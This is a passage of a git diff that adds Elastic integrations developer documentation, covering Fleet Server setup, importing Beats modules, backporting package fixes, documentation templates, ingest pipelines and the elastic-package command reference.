+ docker run -e KIBANA_HOST=http://{YOUR-IP}:5601/{BASE-PATH} -e KIBANA_USERNAME=elastic -e KIBANA_PASSWORD=changeme -e ELASTICSEARCH_HOST=http://{YOUR-IP}:9200 -e ELASTICSEARCH_USERNAME=elastic -e ELASTICSEARCH_PASSWORD=changeme -e KIBANA_FLEET_SETUP=1 -e FLEET_SERVER_ENABLE=1 -e FLEET_SERVER_INSECURE_HTTP=1 -p 8220:8220 docker.elastic.co/elastic-agent/elastic-agent:{VERSION}
+ ```
+
+ Ensure you provide the `-p 8220:8220` port mapping to map the Fleet Server container’s port `8220` to your local machine’s port `8220` in order for Fleet to communicate with Fleet Server.
+
+ For the latest version, use `8.0.0-SNAPSHOT`. Otherwise, you can explore the available versions at [https://www.docker.elastic.co/r/beats/elastic-agent](https://www.docker.elastic.co/r/beats/elastic-agent).
+
+ Once the Fleet Server container is running, you should be able to treat it as if it were a local process running on `+http://localhost:8220+` when configuring Fleet via the UI. You can then run `elastic-agent` on your local machine directly for testing purposes.
+
+
diff --git a/docs/extend/developer-workflow-import-beat.md b/docs/extend/developer-workflow-import-beat.md
new file mode 100644
index 00000000000..47bea4b5077
--- /dev/null
+++ b/docs/extend/developer-workflow-import-beat.md
@@ -0,0 +1,172 @@
+---
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/developer-workflow-import-beat.html
+---
+
+# Import integration from Beats modules [developer-workflow-import-beat]
+
+The import procedure heavily uses on the *import-beats* script. If you are interested how does it work internally, feel free to review the script’s [README](https://github.com/elastic/integrations/tree/main/dev/import-beats/README.md).
+
+1. Create an issue in the [integrations](https://github.com/elastic/integrations) to track ongoing progress with the integration (especially manual changes).
+
+ Focus on the one particular product (e.g. MySQL, ActiveMQ) you would like to integrate with. Use this issue to mention every manual change that has been applied. It will help in adjusting the `import-beats` script and reviewing the integration.
+
+2. Prepare the developer environment:
+
+ 1. Clone/refresh the following repositories:
+
+ * [https://github.com/elastic/beats](https://github.com/elastic/beats)
+ * [https://github.com/elastic/ecs](https://github.com/elastic/ecs)
+ * [https://github.com/elastic/eui](https://github.com/elastic/eui)
+ * [https://github.com/elastic/kibana](https://github.com/elastic/kibana)
+
+ Make sure you don’t have any manual changes applied as they will reflect on the integration.
+
+ 2. Clone/refresh the Elastic Integrations to always use the latest version of the script:
+
+ * [https://github.com/elastic/integrations](https://github.com/elastic/integrations)
+
+ 3. Make sure you’ve the `mage` tool installed:
+
+ ```bash
+ $ go get -u -d github.com/magefile/mage
+ ```
+
+3. Use the `elastic-package stack up -v -d` command to boot up required dependencies:
+
+ 1. Elasticseach instance:
+
+ * Kibana’s dependency
+
+ 2. Kibana instance:
+
+ * used to migrate dashboards, if not available, you can skip the generation (`SKIP_KIBANA=true`)
+
+ *Hint*. There is the `elastic-package` cheat sheet available [here](https://github.com/elastic/integrations/blob/main/testing/environments/README.md).
+
+4. Create a new branch for the integration in `integrations` repository (diverge from main).
+5. Run the command: `mage ImportBeats` to start the import process (note that the import script assumes the projects checked out in step 2 are at `+../{{project-name}}+`).
+
+ The outcome of running the `import-beats` script is directory with refreshed and updated integrations.
+
+ It will take a while to finish, but the console output should be updated frequently to track the progress. The command should terminate with an exit code of 0. If it doesn’t, please open an issue.
+
+ Generated packages are stored by default in the `packages` directory. Generally, the import process updates all of the integrations, so don’t be surprised if you notice updates to multiple integrations, including the one you’re currently working on (e.g. `packages/foobarbaz`). You can either commit these changes or leave them for later.
+
+ If you want to select a subgroup of packages, set the environment variable `PACKAGES` (comma-delimited list):
+
+ ```bash
+ $ PACKAGES=aws,cisco mage ImportBeats
+ ```
+
+
+
+## Fine tune the integration [_fine_tune_the_integration]
+
+Most of migration work has been done by the `import-beats` script, but there’re tasks that require developer’s interaction.
+
+It may happen that your integration misses a screenshot or an icon, it’s a good moment to add missing resources to Beats/Kibana repositories and re-import the integration (idempotent).
+
+
+### Checklist [_checklist]
+
+The order of action items on the checklist is advised to prevent the contributor from repeating some actions (fixing what’s been already fixed, as the script has overridden part of it).
+
+1. Add icon if missing.
+
+ The integration icons are presented in different places in Kibana, hence it’s better to define custom icons to make the UI easier to navigate.
+
+ As the `import-beats` script looks for icons in Kibana and EUI repositories, add an icon to the first one the same way as for tutorial resources (Kibana directory: `src/legacy/core_plugins/kibana/public/home/tutorial_resources/logos/`).
+
+2. Add screenshot if missing.
+
+ The Kibana Integration Manager shows screenshots related with the integration. Screenshots present Kibana dashboards visualizing the metric/log data.
+
+ The `import-beats` script finds references to screenshots mentioned in `_meta/docs.asciidoc` and copies image files from the Beats directories:
+
+ * `metricbeat/docs/images`
+ * `filebeat/docs/images`
+
+3. Improve/correct spelling product names.
+
+ The correct spelling of product names simply makes better impression. The `import-beats` scripts uses the `fields.yml` file as the source of the correct spelling (`title` property), e.g. Mysql - MySQL, Nginx - NGINX, Aws - AWS.
+
+ Keep in mind that this step requires reimporting package contents.
+
+4. Write README template file for the integration.
+
+ The README template is used to render the final README file including exported fields. The template should be placed in the `package//_dev/build/docs/README.md`. If the directory doesn’t exist, please create it.
+
+ Review the MySQL docs template to see how to use template functions (e.g. `{{fields "data-stream-name"}}`). If the same data stream name is used in both metrics and logs, please add `-metrics` and `-logs` in the template. For example, `elb` is a data stream for log and also a data stream for metrics. In README.md template, `{{fields "elb_logs"}}` and `{{fields "elb_metrics"}}` are used to separate them.
+
+5. Review fields file and exported fields in docs.
+
+ The goal of this action item is to verify if produced artifacts are correct.
+
+ The fields files (package-fields.yml, fields.yml and ecs.yml) in the package were created from original fields.yml files (that may contain ECS schema fields) and fields.epr.yml (defining some other fields used in the ingest pipeline). It may happen that original sources have a typo, bad description or misses a field definition. The sum of fields in all present files should contain only fields that are really used, e.g. not all existing ECS fields.
+
+ It may happen that the ingest pipeline uses fields abstracted from ECS, but not mentioned in `fields.yml`. Integrations should contain these fields and also have them documented.
+
+ The fields for an integration package are divided into the following three files:
+
+ * ecs.yml: ECS compliant fields that are used by this particular data stream.
+ * package-fields.yml: Package level fields that are used by this particular data stream, which does not exist under `.`.
+ * fields.yml: Dataset level fields that are specific to this particular data stream, and non ECS compliant.
+
+ See the PR [https://github.com/elastic/beats/pull/17895](https://github.com/elastic/beats/pull/17895) to understand how to add them to Beats (e.g. `event.code`, `event.provider`) using the `fields.epr.yml` file.
+
+6. Metricbeat: add missing configuration options.
+
+ The `import-beats` script extracts configuration options from Metricbeat module’s `_meta` directory. It analyzes the configuration files and selects options based on enabled metricsets (not commented). If you notice that some configuration options are missing in your package’s manifest files, simply create the `config.epr.yml` file with all required options.
+
+ Sample PR: [https://github.com/elastic/beats/pull/17323](https://github.com/elastic/beats/pull/17323)
+
+7. Review *titles* and *descriptions* in manifest files.
+
+ Titles and descriptions are fields visualized in the Kibana UI. Most users will use them to see how to configure the integration with their installation of a product or to how to use advanced configuration options.
+
+8. Compact configuration options (vars).
+
+ Currently, all configuration options are set by the `import-beats` script on the stream level (path: `data stream//manifest.yml`).
+
+ It may happen that some of them in different data streams are simply duplicates or concern the same setting, which will be always equal (e.g. MySQL username, password). Keep in mind that two data streams may have the same configuration option, but different values (e.g. `period`, `paths`), hence can’t be compacted.
+
+ To sum up, compacting takes down from the user the necessity to setup the same configuration option few times (one per data stream).
+
+9. Define all variable properties.
+
+ The variable properties customize visualization of configuration options in the Kibana UI. Make sure they’re defined in all manifest files.
+
+ ```yaml
+ vars:
+ - name: paths
+ required: true
+ show_user: true
+ title: Access log paths
+ description: Paths to the nginx access log file.
+ type: text
+ multi: true
+ default:
+ - /var/log/nginx/access.log*
+ ```
+
+ * **required** - option is required
+ * **show_user** - don’t hide the configuration option (collapsed menu)
+ * **title** - human readable variable name
+ * **description** - variable description (may contain some details)
+ * **type** - field type (according to the reference: text, password, bool, integer)
+ * **multi** - the field has mutliple values.
+
+10. Review stream configuration.
+
+ Due to changed templating engine from a standard Golang one to [handlebars](https://handlebarsjs.com/), it may be hard to automatically convert the Filebeat input configuration (nested variables, many representations, conditions, loops). Please review the output stream configuration and identify potential bugs.
+
+11. Update docs template with sample events.
+
+ The events collected by the agent slightly differ from the original, Metricbeat and Filebeat, ones. Adjust the event content manually basing on already migrated integrations (e.g. [MySQL integration](https://github.com/elastic/integrations/blob/main/packages/mysql/_dev/build/docs/README.md)) or copy them once managed to run whole setup with real agent.
+
+12. Kibana: use `stream.data stream` field instead of `event.data stream`.
+
+ Using `stream.data stream` instead of `event.data stream` also makes queries a lot more efficient as this is a `constant_keyword`. Make sure that dashboards in your package don’t use the `event.data stream` field. If so, simply replace them with the more efficient one.
+
+
diff --git a/docs/extend/developer-workflow-support-old-package.md b/docs/extend/developer-workflow-support-old-package.md
new file mode 100644
index 00000000000..0355befeaba
--- /dev/null
+++ b/docs/extend/developer-workflow-support-old-package.md
@@ -0,0 +1,122 @@
+---
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/developer-workflow-support-old-package.html
+---
+
+# Release a bug fix for supporting older package version [developer-workflow-support-old-package]
+
+In some cases, when we drop the support for an older version of the stack and later on find out needing to add a bug fix to the some old package version, we have to make some manual changes to release the bug fix to users. For example: in this [PR](https://github.com/elastic/integrations/pull/3688) (AWS package version 1.23.4), support for Kibana version 7.x was dropped and bumped the AWS package version from 1.19.5 to 1.20.0. But we found a bug in the EC2 dashboard that needs to be fixed with Kibana version 7.x. So instead of adding a new AWS package version 1.23.5, we need to fix it between 1.19.5 and 1.20.0.
+
+Follow these detailed steps to release a fix for a given package version:
+
+1. **Find git commit (package version) that needs to be fixed**
+
+ In the example above, the commit to be fixed is the one right before this [PR](https://github.com/elastic/integrations/pull/3688) updating package `aws`:
+
+ * Using the web:
+
+ * Look for the merge commit of the PR
+
+ * [https://github.com/elastic/integrations/commit/aa63e1f6a61d2a017e1f88af2735db129cc68e0c](https://github.com/elastic/integrations/commit/aa63e1f6a61d2a017e1f88af2735db129cc68e0c)
+ * It can be found as one of the last messages in the PR 
+ * And then show the previous commits for that changeset inside the package folder (e.g. `packages/aws`):
+ * [https://github.com/elastic/integrations/commits/aa63e1f6a61d2a017e1f88af2735db129cc68e0c/packages/aws/](https://github.com/elastic/integrations/commits/aa63e1f6a61d2a017e1f88af2735db129cc68e0c/packages/aws/) 
+
+ * Using the command line:
+
+ ```bash
+ cd packages/
+ git log --grep "#" .
+ git log -n 1 ^ .
+
+ # following the example
+ $ cd packages/aws
+ $ git log --grep "#3688"
+ commit aa63e1f6a61d2a017e1f88af2735db129cc68e0c
+ Author: Joe Reuter
+ Date: Mon Aug 8 17:14:55 2022 +0200
+
+ Inline all aws dashboards (#3688)
+
+ * inline all aws dashboards
+
+ * format
+
+ * apply the right format
+
+ * inline again
+
+ * format
+ $ git log -n 1 aa63e1f6a61d2a017e1f88af2735db129cc68e0c^ .
+ commit 8cb321075afb9b77ea965e1373a03a603d9c9796
+ Author: Mario Castro
+ Date: Thu Aug 4 16:52:06 2022 +0200
+
+ Move lightweight manifest to integration for EBS data stream (#3856)
+ ```
+
+2. Run the **integrations-backport** pipeline [https://buildkite.com/elastic/integrations-backport](https://buildkite.com/elastic/integrations-backport) for creating the backport branch. 
+
+ **Please, pay attention!**, if you just run the pipeline it’ll wait for your inputs, nothing will happen without that.
+
+ :::{image} ../images/backport_input_step.png
+ :alt: waiting input step
+ :::
+
+ Pipeline’s inputs:
+
+ * **DRY_RUN** (default: "true"), If DRY_RUN is defined as "true" it will check:
+
+ * if the package is published,
+ * if the entered commit exists,
+ * if the backport branch exists. Also, it will create the local branch, update the branch with `.buildkite` and `.ci` folders, and remove other packages except the defined one (if set as input). This local branch will not be pushed to the upstream repository in this mode.
+
+
+ If DRY_RUN is defined as "false", in addition to written above it will create a commit and push the local branch to the upstream repository [https://github.com/elastic/integrations.git](https://github.com/elastic/integrations.git). In this case, the name of the branch will be `+backport-${PACKAGE_NAME}-${TRIMMED_PACKAGE_VERSION}+`, for example, `backport-aws-1.19`.
+
+ * **BASE_COMMIT** (default: "") - enter the commit from the previous step (8cb321075afb9b77ea965e1373a03a603d9c9796)
+ * **PACKAGE_NAME** (default: "") - enter the package name, for example aws
+ * **PACKAGE_VERSION** (default: "") - enter the package version, for example: 1.19.7, 1.0.0-beta1
+ * **REMOVE_OTHER_PACKAGES** (default: "false") If **REMOVE_OTHER_PACKAGES** is defined as "true" all packages from the **packages** folder, except the defined package, will be removed from the created branch.
+
+3. **Create a PR for the bug fix**
+
+ Create a new branch in your own remote (it is advised **not using** a branch name starting with `backport-`), and apply bugfixes there. Remember to update the version in the package manifest (update patch version like `1.19.`) and add a new changelog entry for this patch version.
+
+ Once ready, open a PR selecting as a base branch the one created above: `backport--.` (e.g. `backport-aws-1.19`).
+
+ Once this PR is merged, this new version of the package is going to be published automatically following the usual CI/CD jobs.
+
+ If it is needed to release a new fix for that version, there is no need to create a new branch. Just create a new PR to merge a new branch onto the same backport branch created previously.
+
+4. **Update changelog in main**
+
+ Once PR has been merged in the corresponding backport branch (e.g. `backport-aws-1.9`) and the package has been published, a new Pull Request should be created manually to update the changelog in the main branch to include the new version published in the backport branch. Take into account to add the changelog entry following the version order.
+
+ In order to keep track, this new PR should have a reference (relates) to the backport PR too in its description.
+
+5. **Known issues and their solutions:**
+
+ 1. Missing shellinit command:
+
+ * Example of the error: [https://buildkite.com/elastic/integrations/builds/7634#018c87f4-7b0c-4d6f-8ddd-b779a9a7a019/507-512](https://buildkite.com/elastic/integrations/builds/7634#018c87f4-7b0c-4d6f-8ddd-b779a9a7a019/507-512)
+
+ `Error: could not create kibana client: undefined environment variable: ELASTIC_PACKAGE_KIBANA_HOST. If you have started the Elastic stack using the elastic-package tool, please load stack environment variables using 'eval "$(elastic-package stack shellinit)"' or set their values manually`
+
+ * **Solution**: add elastic-package stack shellinit command in `.buildkite/scripts/common.sh`.
+
+ * `eval "$(elastic-package stack shellinit)"`
+
+ Example: [https://github.com/elastic/integrations/blob/0226f93e0b1493d963a297e2072f79431f6cc443/.buildkite/scripts/common.sh#L828](https://github.com/elastic/integrations/blob/0226f93e0b1493d963a297e2072f79431f6cc443/.buildkite/scripts/common.sh#L828)
+
+ 2. Not found license file:
+
+ * Example of the error: [https://buildkite.com/elastic/integrations/builds/7644#018c883c-546f-4d32-ab4a-71e919ddebf8/270-309](https://buildkite.com/elastic/integrations/builds/7644#018c883c-546f-4d32-ab4a-71e919ddebf8/270-309)
+
+ `Error: checking package failed: building package failed: copying license text file: failure while looking for license "licenses/Elastic-2.0.txt" in repository: failed to find repository license: stat /opt/buildkite-agent/builds/bk-agent-prod-gcp-1703092724145948143/elastic/integrations/licenses/Elastic-2.0.txt: no such file or directory`
+
+ * **Solution**: Remove line defining `ELASTIC_PACKAGE_REPOSITORY_LICENSE` environment variable.
+
+ * Example: [https://github.com/elastic/integrations/blob/0daff27f0e0195a483771a50d60ab28ca2830f75/.buildkite/pipeline.yml#L17](https://github.com/elastic/integrations/blob/0daff27f0e0195a483771a50d60ab28ca2830f75/.buildkite/pipeline.yml#L17)
+
+
diff --git a/docs/extend/developer-workflows.md b/docs/extend/developer-workflows.md
new file mode 100644
index 00000000000..23e63221d31
--- /dev/null
+++ b/docs/extend/developer-workflows.md
@@ -0,0 +1,14 @@
+---
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/developer-workflows.html
+---
+
+# Developer workflows [developer-workflows]
+
+* [Development process for Fleet UI](/extend/developer-workflow-fleet-UI.md)
+* [Release a bug fix for supporting older package version](/extend/developer-workflow-support-old-package.md)
+* [Import integration from Beats modules](/extend/developer-workflow-import-beat.md)
+
+
+
+
diff --git a/docs/extend/docs-spec.md b/docs/extend/docs-spec.md
new file mode 100644
index 00000000000..0c9db45c45c
--- /dev/null
+++ b/docs/extend/docs-spec.md
@@ -0,0 +1,28 @@
+---
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/docs-spec.html
+---
+
+# docs [docs-spec]
+
+The built integration README file.
+
+**required**
+
+Included from the package-spec repository. This will update when the spec is updated.
+
+```yaml
+spec:
+ additionalContents: false
+ contents:
+ - description: Main README file
+ type: file
+ contentMediaType: "text/markdown"
+ name: "README.md"
+ required: true
+ - description: Other README files (can be used by policy templates)
+ type: file
+ contentMediaType: "text/markdown"
+ pattern: '^.+.md'
+ required: false
+```
diff --git a/docs/extend/documentation-guidelines.md b/docs/extend/documentation-guidelines.md
new file mode 100644
index 00000000000..ea5d9cd7537
--- /dev/null
+++ b/docs/extend/documentation-guidelines.md
@@ -0,0 +1,276 @@
+---
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/documentation-guidelines.html
+---
+
+# Documentation guidelines [documentation-guidelines]
+
+The goal of each integration’s documentation is to:
+
+* Help the reader understand the benefits the integration offers and how Elastic can help with their use case. Inform the reader of any requirements, including system compatibility, supported versions of third-party products, permissions needed, and more.
+* Provide a comprehensive list of collected fields and the data and metric types for each. The reader can reference this information while evaluating the integration, interpreting collected data, or troubleshooting issues.
+* Set the reader up for a successful installation and setup by connecting them with any other resources they’ll need.
+* Each integration document should contain several sections, and you should use consistent headings to make it easier for a single user to evaluate and use multiple integrations.
+
+ * [Overview](#idg-docs-guidelines-overview)
+ * [Datastreams](#idg-docs-guidelines-datastreams)
+ * [Requirements](#idg-docs-guidelines-requirements)
+ * [Setup](#idg-docs-guidelines-setup)
+ * [Troubleshooting (optional)](#idg-docs-guidelines-troubleshooting)
+ * [Reference](#idg-docs-guidelines-reference)
+
+
+Some considerations when these documentation files are written at `_dev/build/docs/*.md`:
+
+* These files follow the Markdown syntax and leverage the use of [documentation templates](https://github.com/elastic/elastic-package/blob/main/docs/howto/add_package_readme.md).
+* There are some available functions or placeholders (`fields`, `event`, `url`) that can be used to help you write documentation. For more detail, refer to [placeholders](https://github.com/elastic/elastic-package/blob/main/docs/howto/add_package_readme.md#placeholders).
+* Regarding the `url` placeholder, this placeholder should be used to add links to the [Elastic documentation guides](https://www.elastic.co/guide/index.html) in your documentation:
+
+ * The file containing all of the defined links is in the root of the directory: [`links_table.yml`](https://github.com/elastic/elastic-package/blob/main/scripts/links_table.yml)
+ * If needed, more links to Elastic documentation guides can be added into that file.
+ * Example usage:
+
+ * In the documentation files (`_dev/build/docs/*.md`), `{{ url "getting-started-observability" "Elastic guide" }}` generates a link to the Observability Getting Started guide.
+
+
+
+### Overview [idg-docs-guidelines-overview]
+
+The overview section explains what the integration is, defines the third-party product that is providing data, establishes its relationship to the larger ecosystem of Elastic products, and helps the reader understand how it can be used to solve a tangible problem.
+
+The overview should answer the following questions:
+
+* What is the integration?
+* What is the third-party product that is providing data?
+* What can you do with it?
+
+ * General description
+ * Basic example
+
+
+
+#### Template [_template]
+
+Use this template language as a starting point, replacing `` with details about the integration:
+
+```text
+The integration allows you to monitor . is .
+
+Use the integration to . Then visualize that data in Kibana, create alerts to notify you if something goes wrong, and reference when troubleshooting an issue.
+
+For example, if you wanted to you could . Then you can by .
+```
+
+
+#### Example [_example]
+
+```text
+The AWS CloudFront integration allows you to monitor your AWS CloudFront usage. AWS CloudFront is a content delivery network (CDN) service.
+
+Use the AWS CloudFront integration to collect and parse logs related to content delivery. Then visualize that data in Kibana, create alerts to notify you if something goes wrong, and reference logs when troubleshooting an issue.
+
+For example, you could use the data from this integration to know when there are more than some number of failed requests for a single piece of content in a given time period. You could also use the data to troubleshoot the underlying issue by looking at additional context in the logs like the number of unique users (by IP address) who experienced the issue, the source of the request, and more.
+```
+
+
+### Datastreams [idg-docs-guidelines-datastreams]
+
+The data streams section provides a high-level overview of the kind of data that is collected by the integration. This is helpful since it can be difficult to quickly derive an understanding from just the reference sections (since they’re so long).
+
+The data streams section should include:
+
+* A list of the types of data streams collected by the integration
+* A summary of each type of data stream included and a link to the relevant reference section:
+
+ * Logs
+ * Metrics
+
+* Notes (optional)
+
+
+#### Template [_template_2]
+
+Use this template language as a starting point, replacing `` with details about the integration:
+
+```text
+## Data streams
+
+The integration collects two types of data streams: logs and metrics.
+
+**Logs** help you keep a record of events happening in .
+Log data streams collected by the integration include , and more. See more details in the .
+
+**Metrics** give you insight into the state of .
+Metric data streams collected by the integration include and more. See more details in the [Metrics]<#metrics-reference>.
+
+
+
+
+```
+
+
+#### Example [_example_2]
+
+```text
+The System integration collects two types of data: logs and metrics.
+
+Logs help you keep a record of events that happen on your machine. Log data streams collected by the System integration include application, system, and security events on machines running Windows or auth and syslog events on machines running macOS or Linux. See more details in the Logs reference.
+
+Metrics give you insight into the state of the machine. Metric data streams collected by the System integration include CPU usage, load statistics, memory usage, information on network behavior, and more. See more details in the Metrics reference.
+
+You can enable and disable individual data streams. If all data streams are disabled and the System integration is still enabled, Fleet uses the default data streams.
+```
+
+
+### Requirements [idg-docs-guidelines-requirements]
+
+The requirements section helps readers to confirm that the integration will work with their systems.
+
+* Elastic prerequisites (for example, a self-managed or Cloud deployment)
+* System compatibility
+* Supported versions of third-party products
+* Permissions needed
+* Anything else that could block a user from successfully using the integration
+
+
+#### Template [_template_3]
+
+Use this template language as a starting point, including any other requirements for the integration:
+
+```text
+## Requirements
+
+You need Elasticsearch for storing and searching your data and Kibana for visualizing and managing it.
+You can use our hosted Elasticsearch Service on Elastic Cloud, which is recommended, or self-manage the Elastic Stack on your own hardware.
+
+
+```
+
+
+#### Example [_example_3]
+
+```text
+You need Elasticsearch for storing and searching your data and Kibana for visualizing and managing it. You can use our hosted Elasticsearch Service on Elastic Cloud, which is recommended, or self-manage the Elastic Stack on your own hardware.
+
+Each data stream collects different kinds of metric data, which may require dedicated permissions to be fetched and may vary across operating systems. Details on the permissions needed for each data stream are available in the Metrics reference.
+```
+
+For a much more detailed example, refer to the [AWS integration requirements](https://github.com/elastic/integrations/blob/main/packages/aws/_dev/build/docs/README.md#requirements).
+
+
+### Setup [idg-docs-guidelines-setup]
+
+The setup section points the reader to the Observability [Getting started guide](docs-content://solutions/observability/get-started.md) for generic, step-by-step instructions.
+
+This section should also include any additional setup instructions beyond what’s included in the guide, which may include instructions to update the configuration of a third-party service. For example, for the Cisco ASA integration, users need to configure their Cisco device following the [steps found in the Cisco documentation](https://documentation.meraki.com/General_Administration/Monitoring_and_Reporting/Syslog_Server_Overview_and_Configuration#Configuring_a_Syslog_Server).
+
+::::{note}
+When possible, use links to point to third-party documentation for configuring non-Elastic products since workflows may change without notice.
+::::
+
+
+
+#### Template [_template_4]
+
+Use this template language as a starting point, including any other setup instructions for the integration:
+
+```text
+## Setup
+
+
+
+For step-by-step instructions on how to set up an integration, see the
+{{ url "getting-started-observability" "Getting started" }} guide.
+
+
+```
+
+
+#### Example [_example_4]
+
+```text
+Before sending logs to Elastic from your Cisco device, you must configure your device according to <>.
+
+After you've configured your device, you can set up the Elastic integration. For step-by-step instructions on how to set up an integration, see the <> guide.
+```
+
+
+### Troubleshooting (optional) [idg-docs-guidelines-troubleshooting]
+
+The troubleshooting section is optional. It should contain information about special cases and exceptions that aren’t necessary for getting started or won’t be applicable to all users.
+
+
+#### Template [_template_5]
+
+There is no standard format for the troubleshooting section.
+
+
+#### Example [_example_5]
+
+```text
+>Note that certain data streams may access `/proc` to gather process information,
+>and the resulting `ptrace_may_access()` call by the kernel to check for
+>permissions can be blocked by
+>[AppArmor and other LSM software](https://gitlab.com/apparmor/apparmor/wikis/TechnicalDoc_Proc_and_ptrace), even though the System module doesn't use `ptrace` directly.
+>
+>In addition, when running inside a container the proc filesystem directory of the host
+>should be set using `system.hostfs` setting to `/hostfs`.
+```
+
+
+### Reference [idg-docs-guidelines-reference]
+
+Readers might use the reference section while evaluating the integration, interpreting collected data, or troubleshooting issues.
+
+There can be any number of reference sections (for example, `## Metrics reference`, `## Logs reference`). Each reference section can contain one or more subsections, such as one for each individual data stream (for example, `### Access Logs` and `### Error logs`).
+
+Each reference section should contain detailed information about:
+
+* A list of the log or metric types we support within the integration and a link to the relevant third-party documentation.
+* (Optional) An example event in JSON format.
+* Exported fields for logs, metrics, and events with actual types (for example, `counters`, `gauges`, `histograms` vs. `longs` and `doubles`). Fields should be generated using the instructions in [Fine-tune the integration](https://github.com/elastic/integrations/blob/main/docs/fine_tune_integration.md).
+* ML Modules jobs.
+
+
+#### Template [_template_6]
+
+```text
+
+## reference
+
+
+##
+
+The `` data stream provides events from of the following types: .
+
+
+
+
+
+
+### Exported fields
+
+
+```
+
+
+#### Example [_example_6]
+
+```text
+>## Logs reference
+>
+>### PAN-OS
+>
+>The `panos` data stream provides events from Palo Alto Networks device of the following types: [GlobalProtect](https://docs.paloaltonetworks.com/pan-os/10-2/pan-os-admin/monitoring/use-syslog-for-monitoring/syslog-field-descriptions/globalprotect-log-fields), [HIP Match](https://docs.paloaltonetworks.com/pan-os/10-2/pan-os-admin/monitoring/use-syslog-for-monitoring/syslog-field-descriptions/hip-match-log-fields), [Threat](https://docs.paloaltonetworks.com/pan-os/10-2/pan-os-admin/monitoring/use-syslog-for-monitoring/syslog-field-descriptions/threat-log-fields), [Traffic](https://docs.paloaltonetworks.com/pan-os/10-2/pan-os-admin/monitoring/use-syslog-for-monitoring/syslog-field-descriptions/traffic-log-fields) and [User-ID](https://docs.paloaltonetworks.com/pan-os/10-2/pan-os-admin/monitoring/use-syslog-for-monitoring/syslog-field-descriptions/user-id-log-fields).
+>
+>#### Example
+>
+>An example event for `panos` looks as following:
+>
+>(code block)
+>
+>#### Exported fields
+>
+>(table of fields)
+```
+
diff --git a/docs/extend/edit-ingest-pipeline.md b/docs/extend/edit-ingest-pipeline.md
new file mode 100644
index 00000000000..d3c29307aaa
--- /dev/null
+++ b/docs/extend/edit-ingest-pipeline.md
@@ -0,0 +1,55 @@
+---
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/edit-ingest-pipeline.html
+---
+
+# Edit ingest pipelines [edit-ingest-pipeline]
+
+In most instances, before you ingest data into the {{stack}}, the data needs to be manipulated. For example, you should parse your logs into structured data before ingestion. To do so, integrations use **ingest pipelines**.
+
+::::{admonition}
+**Ingest pipelines** let you perform common transformations on your data before indexing. For example, you can use pipelines to remove fields, extract values from text, and enrich your data.
+
+A pipeline consists of a series of configurable tasks called processors. Each processor runs sequentially, making specific changes to incoming documents. After the processors have run, {{es}} adds the transformed documents to your data stream or index.
+
+Learn more in the [ingest pipeline reference](docs-content://manage-data/ingest/transform-enrich/ingest-pipelines.md).
+
+::::
+
+
+Ingest pipelines are defined in the `elasticsearch/ingest_pipeline` directory. They only apply to the parent data stream within which they live. For our example, this would be the `apache.access` dataset.
+
+For example, the [Apache integration](https://github.com/elastic/integrations/tree/main/packages/apache):
+
+```text
+apache
+└───data_stream
+│ └───access
+│ │ └───elasticsearch/ingest_pipeline
+│ │ default.yml <1>
+│ └───error
+│ └───status
+```
+
+1. The ingest pipeline definition for the access logs data stream of the Apache integration
+
+
+An ingest pipeline definition requires a description and an array of processors. Here’s a snippet of the access logs ingest pipeline:
+
+```yaml
+description: "Pipeline for parsing Apache HTTP Server access logs."
+processors:
+- set:
+ field: event.ingested
+ value: '{{_ingest.timestamp}}'
+- rename:
+ field: message
+ target_field: event.original
+- remove:
+ field: apache.access.time
+ ignore_failure: true
+```
+
+Open each `elasticsearch/ingest_pipeline/default.yml` file created for each data stream. Edit each ingest pipeline to match your needs.
+
+The [processor reference](elasticsearch://reference/ingestion-tools/enrich-processor/index.md) provides a list of all available processors and their configurations.
diff --git a/docs/extend/elastic-package.md b/docs/extend/elastic-package.md
new file mode 100644
index 00000000000..48722944d63
--- /dev/null
+++ b/docs/extend/elastic-package.md
@@ -0,0 +1,291 @@
+---
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/elastic-package.html
+---
+
+# elastic-package reference [elastic-package]
+
+`elastic-package` is a command line tool, written in Go, used for developing Elastic packages. It can help you lint, format, test, build, and promote your packages.
+
+
+## Get started [elastic-package-start]
+
+1. Download and build the latest main of elastic-package binary:
+
+ ```bash
+ git clone https://github.com/elastic/elastic-package.git
+ make build
+ ```
+
+ ::::{tip}
+ Make sure that you’ve correctly set up the [`$GOPATH` and `$PATH`](https://golang.org/doc/gopath_code.md#GOPATH) environment variables. `elastic-package` must be accessible from your `$PATH`.
+ ::::
+
+2. Change into the directory of the package under development:
+
+ ```bash
+ cd my-package
+ ```
+
+3. Run the `help` command to see available commands
+
+ ```bash
+ elastic-package help
+ ```
+
+
+
+## Command reference [elastic-package-command-reference]
+
+The following `elastic-package` commands are available. For more details on a specific command, run `elastic-package help `.
+
+Some commands have a *global context*, meaning that you can execute them from anywhere. Other commands have a *package context*; these must be executed from somewhere under a package root folder, and the command will only operate on the contents of that package.
+
+
+### `elastic-package help` [_elastic_package_help]
+
+*Context: global*
+
+Use this command to list all commands available under `elastic-package` and a brief description of what each command does.
+
+
+### `elastic-package build` [_elastic_package_build]
+
+*Context: package*
+
+Use this command to build a package. Currently, it supports only the "integration" package type.
+
+Built packages are stored in the "build/" folder located at the root folder of the local Git repository checkout that contains your package folder. The command will also render the README file in your package folder if a corresponding template file present in `_dev/build/docs/README.md`. All `_dev` directories under your package will be omitted.
+
+Built packages are served up by the {{package-registry}} running locally (see "elastic-package stack"). Therefore, if you want a local package to be served up by the local {{package-registry}}, make sure to build that package first using "elastic-package build".
+
+You can also publish built packages to the global package registry service.
+
+
+### `elastic-package check` [_elastic_package_check]
+
+*Context: package*
+
+Use this command to verify if the package is correct in terms of formatting, validation and building.
+
+It will execute the format, lint, and build commands all at once, in that order.
+
+
+### `elastic-package clean` [_elastic_package_clean]
+
+*Context: package*
+
+Use this command to clean resources used for building the package.
+
+The command will remove built package files (in build/), files needed for managing the development stack (in `~/.elastic-package/stack/development`) and stack service logs (in `~/.elastic-package/tmp/service_logs`).
+
+
+### `elastic-package create` [_elastic_package_create]
+
+*Context: global*
+
+Use this command to create a new package or add more data streams.
+
